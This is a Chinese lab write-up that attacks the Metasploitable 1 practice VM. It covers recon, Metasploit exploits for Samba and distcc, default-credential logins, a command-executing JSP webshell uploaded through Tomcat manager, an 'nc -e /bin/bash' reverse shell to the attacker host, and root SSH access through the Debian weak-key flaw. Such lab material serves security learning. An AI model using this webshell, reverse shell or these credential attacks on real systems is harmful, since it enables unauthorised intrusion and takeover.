Vulnhub靶场 Metasploitable: 1 练习(上)
目录
- 0x00 准备
- 0x01 主机信息收集
- 0x02 Samba服务(CVE-2007-2447)
- 0x03 Distccd(CVE-2004-2687)
- 0x04 Mysql弱口令
- 0x05 Postgresql弱口令
- 0x06 Telnet弱口令
- 0x07 Tomcat
0x00 准备
下载链接:https://download.vulnhub.com/metasploitable/Metasploitable.zip
介绍:Metasploitable is an Ubuntu 8.04 server install on a VMWare 6.5 image.This section is for various information that has been collected about the release, such as quotes from the webpage and/or the readme file.These sources of information are usually helpful towards the completion of the release as the author can drop hints* as well as methods to help get the release up and working.*** This is a ‘little’ hint**. Useful to help you get started and it shouldn’t give anything away that you quickly could find out for yourself.
环境搭建:
下载后解压出来,不是ova文件,是一些vmx等虚拟机文件。所以导入方式和DC系列的不一样。
对于ova文件,直接导入现有虚拟机就可以。
对于提供vmx等虚拟机文件的情况,就需要自己创建虚拟机,上面的描述中说明了这个靶场是基于Ubuntu 8.04 ,创建虚拟机的时候注意这个系统版本就可以了,选择虚拟磁盘的时候选择使用现有虚拟磁盘:

网络模式选择桥接。
0x01 主机信息收集
kali的ip:192.168.119.128,eth0
探测靶机ip,执行命令:netdiscover -i eth0 -r 192.168.22.0/24
目标主机的IP:192.168.119.131
探测目标主机的开放端口以及服务:nmap -sV -p 1-65535 -A 192.168.119.131
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-04 09:56 CST
Nmap scan report for 192.168.119.131
Host is up (0.0012s latency).
Not shown: 65522 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.1
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
| sslv2:
| SSLv2 supported
| ciphers:
| SSL2_RC4_128_WITH_MD5
| SSL2_DES_64_CBC_WITH_MD5
| SSL2_DES_192_EDE3_CBC_WITH_MD5
| SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
| SSL2_RC2_128_CBC_WITH_MD5
|_ SSL2_RC4_128_EXPORT40_WITH_MD5
|_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
|_ssl-date: 2024-11-04T01:56:58+00:00; +2s from scanner time.
| ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
| Not valid before: 2010-03-17T14:07:45
|_Not valid after: 2010-04-16T14:07:45
53/tcp open domain ISC BIND 9.4.2
| dns-nsid:
|_ bind.version: 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
| mysql-info:
| Protocol: 10
| Version: 5.0.51a-3ubuntu5
| Thread ID: 9
| Capabilities flags: 43564
| Some Capabilities: SupportsCompression, LongColumnFlag, SwitchToSSLAfterHandshake, Support41Auth, ConnectWithDatabase, SupportsTransactions, Speaks41ProtocolNew
| Status: Autocommit
|_ Salt: o1EHxG9(Xckma~x_QXF6
3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
| ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
| Not valid before: 2010-03-17T14:07:45
|_Not valid after: 2010-04-16T14:07:45
|_ssl-date: 2024-11-04T01:56:58+00:00; +2s from scanner time.
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/5.5
|_http-favicon: Apache Tomcat
MAC Address: 00:0C:29:39:12:B2 (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: Host: metasploitable.localdomain; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernelHost script results:
|_nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_smb2-time: Protocol negotiation failed (SMB2)
|_clock-skew: mean: 1h15m02s, deviation: 2h30m00s, median: 1s
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Computer name: metasploitable
| NetBIOS computer name:
| Domain name: localdomain
| FQDN: metasploitable.localdomain
|_ System time: 2024-11-03T20:56:50-05:00
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)TRACEROUTE
HOP RTT ADDRESS
1 1.25 ms 192.168.119.131OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.31 seconds
在下载的压缩文件中有个 reademe.txt 文件,这里面也列出了端口的相关信息。
0x02 Samba服务(CVE-2007-2447)
前面探测开放端口的时候,可以看到开放了Samba服务,并且版本是3.0.x:
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
搜索了一下这个版本相关的漏洞,发现一个命令注入漏洞CVE-2007-2447。在msf中进行尝试:
msfconsole
search cve-2007-2447
use exploit/multi/samba/usermap_script
show options
set RHOSTS 192.168.119.131
show options
run


执行命令查看当前权限:id

直接就是root权限。
0x03 Distccd(CVE-2004-2687)
上面的端口探测有一个3632端口,开放了distccd服务:3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
版本 4.2.4 中的 Distccd 编译器服务器,远程代码执行漏洞利用。
直接在msf中使用:
msfconsole
search distccd
use exploit/unix/misc/distcc_exec
set RHOST 192.168.119.131
run
0x04 Mysql弱口令
前面端口探测时发现开放了3306,MySQL。
尝试一下弱口令:mysql -h 192.168.119.131 -uroot -proot
这里会报错:ERROR 2026 (HY000): TLS/SSL error: wrong version number
所以再加上–skip-ssl参数,执行命令:mysql -h 192.168.119.131 -uroot -proot --skip-ssl

登录上mysql以后查看当前用户的权限:show grants;

查看所有的数据库:show databases;
使用tikiwiki数据库:use tikiwiki;

查询所有的表:show tables;
查询users_users表中的所有内容:select * from users_users;

访问:http://192.168.119.131/tikiwiki/tiki-index.php
用查询出来的用户名admin和密码admin进行登录:

登录上以后会强制修改密码,下图的样子就是登录成功了:

0x05 Postgresql弱口令
端口探测的时候发现开放了5432端口,Postgresql服务:
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
| ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
| Not valid before: 2010-03-17T14:07:45
|_Not valid after: 2010-04-16T14:07:45
|_ssl-date: 2024-11-04T01:56:58+00:00; +2s from scanner time.
尝试用户名和密码都是postgres。
执行命令:psql -h 192.168.119.131 -U postgres
输入密码:postgres

0x06 Telnet弱口令
端口探测中发现开放了23端口,telnet服务:
23/tcp open telnet Linux telnetd
尝试telnet连接,执行命令:telnet 192.168.119.131
用户名和密码都是msfadmin:

可以看一下/etc/passwd文件内容,是否有其他用户可以进行尝试。
还可以使用:user/user,postgres/postgres,sys/batman,klog/123456789,service/service
0x07 Tomcat
前面端口探测时可以看到开放了8180端口,Tomcat+JSP。
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/5.5
|_http-favicon: Apache Tomcat
在浏览器中访问一下:192.168.119.131:8180

点击tomcat manager,尝试弱口令tomcat/tomcat,登录到后台。发现一个可以上传war文件的地方:

前面知道这个网站是是jsp的。所以考虑将一个jsp的可回显马打包成war上传。
jsp的可回显马代码如下。意思是如果请求的fangwen参数的值是000,就把cmd参数的内容当作系统命令来执行。
<%if("000".equals(request.getParameter("fangwen"))){java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");}
%>
在kali中将上面的代码保存成fangwen.jsp,然后执行命令生成war文件:jar -cvf muma.war fangwen.jsp

在刚才的地方上传生成的war文件后,会返回一个成功的界面:

接着访问刚才上传的文件,并且设置好参数:192.168.119.131:8180/muma/fangwen.jsp?fangwen=000&cmd=id
注意:不要忘记指定端口8180,war包的路径不带后缀名。
下图则表示执行系统命令成功:

然后就可以修改cmd参数的值,来反弹shell。
先在kali上监听端口9889:nc -lvvp 9889
然后访问:http://192.168.119.131:8180/muma/fangwen.jsp?fangwen=000&cmd=nc%20-e%20/bin/bash 192.168.119.128%209889

获取交互式shell:python -c 'import pty; pty.spawn ("/bin/bash")’
查看内核版本:uname -a

进入root目录:cd root
查看都有什么:ls -al
发现一个.ssh 目录,再进入这个目录,可以看到一个authorized_keys公钥文件。看一下文件内容。

ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w== msfadmin@metasploitable
猜测存在openssl软件包伪随机数泄露。
在kali中执行命令下载debian_ssh_rsa_2048_x86.tar.bz2:
wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5622.tar.bz2
解压下载的文件:tar -jxvf 5622.tar.bz2
解压得到目录rsa,进入目录:cd rsa/2048
查找之前发现的公钥文件的内容:grep -l AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w== msfadmin@metasploitable *.pub
(其中,-l 参数的作用是查询多文件时只输出包含匹配字符的文件名。)

57c3115d77c56390332dc5c49978627a-5429
这个就是公钥对应的私钥。
通过这个私钥登录:ssh root@192.168.119.131 -i 57c3115d77c56390332dc5c49978627a-5429
这里登录的时候会报错,出现这个错误的一般原因是ssh的服务端版本和客户端版本不匹配,所以需要加上参数-o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa 。最终要执行的命令:
ssh root@192.168.119.131 -i 57c3115d77c56390332dc5c49978627a-5429 -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa
可以看到以root用户登录上了:

相关文章:
Vulnhub靶场 Metasploitable: 1 练习(上)
目录 0x00 准备0x01 主机信息收集0x02 Samba服务(CVE-2007-2447)0x03 Distccd(CVE-2004-2687)0x04 Mysql弱口令0x05 Postgresql弱口令0x06 Telnet弱口令0x07 Tomcat 0x00 准备 下载链接:https://download.vulnhub.com/…...
《Python编程实训快速上手》第二天--列表与元组
一、列表 1、理解 列表是一个值,包含由多个值构成的序列 2、元素查找 1)索引--取列表中的单个值 正数索引:同c语言中的数组 spam [[1,2,3,4],["cat","dog"]] print(spam[0][1]) #结果:2 负数索引&…...
jangow靶机
先改jangow的ip设置,无ip地址,重启jangow虚拟机时候快速按E这个键盘,进入到编辑模式,找到ro这个位置,写入ro rw signin init/bin/bash ,ctrlx保存 下一步需要更改网卡名字为ens33,可以直接…...
使用UDP协议传输视频流!(分片、缓存)
背景 最近在开发工作中遇到需要两台本地设备之间进行视频流的传输的情况。但是团队一来没有这方面的专业人才,二来视频流的传续数据量很大,针对TCP和UDP的具体选择也不明确。 本文是在上诉背景之下进行的研究和开发工作。 目录 背景 UDP和TCP协议的…...
Pinia小菠萝(状态管理器)
Pinia 是一个专为 Vue 3 设计的状态管理库,它借鉴了 Vuex 的一些概念,但更加轻量灵活。下面将详细介绍如何使用 Pinia 状态管理库: 安装 Pinia 使用 npm:在项目目录下运行npm install pinia。使用 yarn:在项目目录下运…...
Python知识点:基于Python工具,如何使用Web3.py进行以太坊智能合约开发
开篇,先说一个好消息,截止到2025年1月1日前,翻到文末找到我,赠送定制版的开题报告和任务书,先到先得!过期不候! 基于Python工具Web3.py进行以太坊智能合约开发 简介 智能合约是区块链技术的核…...
【简信CRM-注册安全分析报告】
前言 由于网站注册入口容易被黑客攻击,存在如下安全问题: 暴力破解密码,造成用户信息泄露短信盗刷的安全问题,影响业务及导致用户投诉带来经济损失,尤其是后付费客户,风险巨大,造成亏损无底洞…...
ssm+vue694基于Java的药店药品信息管理系统的设计与实现
博主介绍:专注于Java(springboot ssm 等开发框架) vue .net php phython node.js uniapp 微信小程序 等诸多技术领域和毕业项目实战、企业信息化系统建设,从业十五余年开发设计教学工作 ☆☆☆ 精彩专栏推荐订阅☆☆☆☆☆不…...
Sentinel微服务保护
目录 雪崩问题 解决雪崩问题的方法: 我们使用sentinel组件实现微服务的保护 一:下载sentinel 二.启动sentinel 三.访问:localhost:8080 默认的账号和密码都是sentinel 微服务整合sentinel 一.导入sentinel依赖 二.在application.yml配置…...
喜讯!实在Agent智能体入选《2024年度最佳企业服务AI产品榜》
10 月 30 日,硅星人主办的首届 AI 创造者大会(ACC)于北京中关村盛大举行。此次大会旨在为 AI 产业生态的共建者构筑一个多元化的交流平台。大会邀请了硅星人创始人兼 CEO 骆轶航、国家地方共建具身智能机器人创新中心 CTO 唐剑、百度智能云应…...
Aop+自定义注解实现数据字典映射
数据字典 Web项目开发中,字典表的一般都会存在,主要用来给整个系统提供基础服务。 比如男女性别的类型可以使用0和1来进行表示,在存储数据和查询数据的时候,就可以使用字典表中的数据进行翻译处理。 再比如之前做的一个项目中宠物…...
大语言模型(LLM)入门级选手初学教程 III
指令微调 一、指令数据的构建 包括任务描述(也称为指令)、任务输入-任务输出以及可选的示例。 Self-Instruct 指令数据生成:从任务池中随机选取少量指令数据作为示例,并针对Chat-GPT 设计精细指令来提示模型生成新的微调数据…...
STM32G0xx使用LL库将Flash页分块方式存储数据实现一次擦除可多次写入
STM32G0xx使用LL库将Flash页分块方式存储数据实现一次擦除可多次写入 参考例程例程说明一、存储到Flash中的数据二、Flash最底层操作(解锁,加锁,擦除,读写)三、从Flash块中读取数据五、测试验证 参考例程 STM32G0xx HAL和LL库Flash读写擦除操…...
SAP B1 认证考试习题 - 解析版(三)
前一篇:《SAP B1 认证考试习题 - 解析版(二)》 题目纯享版合集:《SAP B1 认证考试习题 - 纯享版》 五、运费(附加费用) 57. 以下哪个选项能够影响库存商品的价格 A. 仅为总量级别的附加费用 B. 只为行级…...
数据库开发规范
一、概述 本规范规定了,软件项目团队开发数据库的全流程规范。规范覆盖了数据库设计、管理及配套文件等。 二、项目阶段 项目阶段包括需求评审(需求分析阶段)、技术评审(方案阶段)、数据库开发…...
使用python向钉钉群聊发送消息
使用python向钉钉群聊发送消息 一、在钉钉群中新建机器人二、使用代码发送消息 一、在钉钉群中新建机器人 在群设置中添加机器人 选择自定义 勾选对应的安全设置 完成后会展示webhook,将地址复制出来,并记录,后面会用到 二、使用代码发送消…...
YOLOv11改进:SE注意力机制【注意力系列篇】(附详细的修改步骤,以及代码,与其他一些注意力机制相比,不仅准确度更高,而且模型更加轻量化。)
如果实验环境尚未搭建成功,可以参考这篇文章 ->【YOLOv11超详细环境搭建以及模型训练(GPU版本)】 文章链接为:YOLOv11超详细环境搭建以及模型训练(GPU版本)-CSDN博客 -------------------------------…...
STM32 基于HAL库和STM32cubeIDE的应用教程 (二)--GPIO的使用
如果有什么不懂的地方欢迎私聊博主,欢迎小白,博主必一一解答。 在 STM32 中,GPIO(通用输入输出)是与外部硬件接口进行交互的主要方式之一。STM32 HAL 库提供了简洁的接口来配置和控制 GPIO 引脚。下面是使用 STM32 HA…...
【毫米波雷达(七)】自动驾驶汽车中的精准定位——RTK定位技术
一、什么是RTK? RTK,英文全名叫做Real-time kinematic,也就是实时动态。这是一个简称,全称其实应该是RTK(Real-time kinematic,实时动态)载波相位差分技术。 二、RTK的组装 如上图所示&#x…...
Transformer和BERT的区别
Transformer和BERT的区别比较表: 两者的位置编码: 为什么要对位置进行编码? Attention提取特征的时候,可以获取全局每个词对之间的关系,但是并没有显式保留时序信息,或者说位置信息。就算打乱序列中token…...
计算机毕业设计springboot在线学习平台个性化推荐系统 基于SpringBoot框架的智能教育内容精准推送平台 基于Java Web的在线教育资源智能匹配与学习跟踪系统
计算机毕业设计springboot在线学习平台个性化推荐系统(配套有源码 程序 mysql数据库 论文) 本套源码可以在文本联xi,先看具体系统功能演示视频领取,可分享源码参考。在信息技术高速发展与终身学习理念深度普及的时代背景下,互联网…...
解决AMD显卡CUDA兼容性问题:ZLUDA技术实现与应用指南
解决AMD显卡CUDA兼容性问题:ZLUDA技术实现与应用指南 【免费下载链接】ZLUDA CUDA on AMD GPUs 项目地址: https://gitcode.com/gh_mirrors/zlu/ZLUDA 一、问题:AMD显卡的CUDA生态困境 1.1 硬件与软件的生态鸿沟 CUDA作为NVIDIA构建的专有计算平…...
手把手排查 DeepSpeed CPUAdam 报错:从 AttributeError 到成功编译 Op 的完整日志分析
深度解析DeepSpeed CPUAdam编译报错:从日志分析到精准修复 当你第一次看到AttributeError: DeepSpeedCPUAdam object has no attribute ds_opt_adam这个错误时,可能会感到困惑。这个错误背后隐藏着DeepSpeed框架中CPUAdam优化器与CUDA环境之间复杂的交互…...
关于2026年6月14日PMI认证考试的报名通知
尊敬的各位考生: 经PMI和中国国际人才交流基金会研究决定,中国大陆地区2026年第二期PMI认证考试6月14日举办。在基金会网站报名参加本次PMI认证考试的考生须认真阅读下文,知悉考试安排及注意事项,并遵守考试有关规定。 一、 报名注…...
FanControl:重新定义你的散热管理体验
FanControl:重新定义你的散热管理体验 【免费下载链接】FanControl.Releases This is the release repository for Fan Control, a highly customizable fan controlling software for Windows. 项目地址: https://gitcode.com/GitHub_Trending/fa/FanControl.Rel…...
Photon光影包:颠覆级Minecraft视觉体验的沉浸式渲染方案
Photon光影包:颠覆级Minecraft视觉体验的沉浸式渲染方案 【免费下载链接】photon A gameplay-focused shader pack for Minecraft 项目地址: https://gitcode.com/gh_mirrors/photon3/photon 在像素化的方块世界中,如何突破视觉边界实现电影级画面…...
高速ADC采样时钟不准?手把手教你理解时钟占空比校正(DCC)电路的核心原理
高速ADC采样时钟不准?手把手教你理解时钟占空比校正(DCC)电路的核心原理 当你在调试一块高速ADC板卡时,发现ENOB(有效位数)始终比规格书低2-3位,频谱分析显示谐波失真异常。这种困扰可能来自一…...
忍者像素绘卷:天界画坊在操作系统课程设计中的应用:进程调度可视化
忍者像素绘卷:天界画坊在操作系统课程设计中的应用:进程调度可视化 1. 当操作系统教学遇上像素艺术 操作系统课程中的进程调度算法一直是教学难点。传统方式依靠静态图表和伪代码讲解,学生往往难以直观理解不同调度策略的实际运行差异。而&…...
如何快速上手LeaguePrank:英雄联盟段位修改工具完整实战指南
如何快速上手LeaguePrank:英雄联盟段位修改工具完整实战指南 【免费下载链接】LeaguePrank 项目地址: https://gitcode.com/gh_mirrors/le/LeaguePrank 还在为英雄联盟单调的段位显示感到无聊吗?LeaguePrank是一款开源工具,让你轻松修…...
Java TCC到底要不要用?90%团队踩坑的4个认知误区,今天一次性说透
第一章:Java TCC到底要不要用?90%团队踩坑的4个认知误区,今天一次性说透TCC(Try-Confirm-Cancel)作为分布式事务的一种经典模式,在 Java 生态中常被误认为“高可用银弹”或“微服务标配”。但真实生产实践中…...
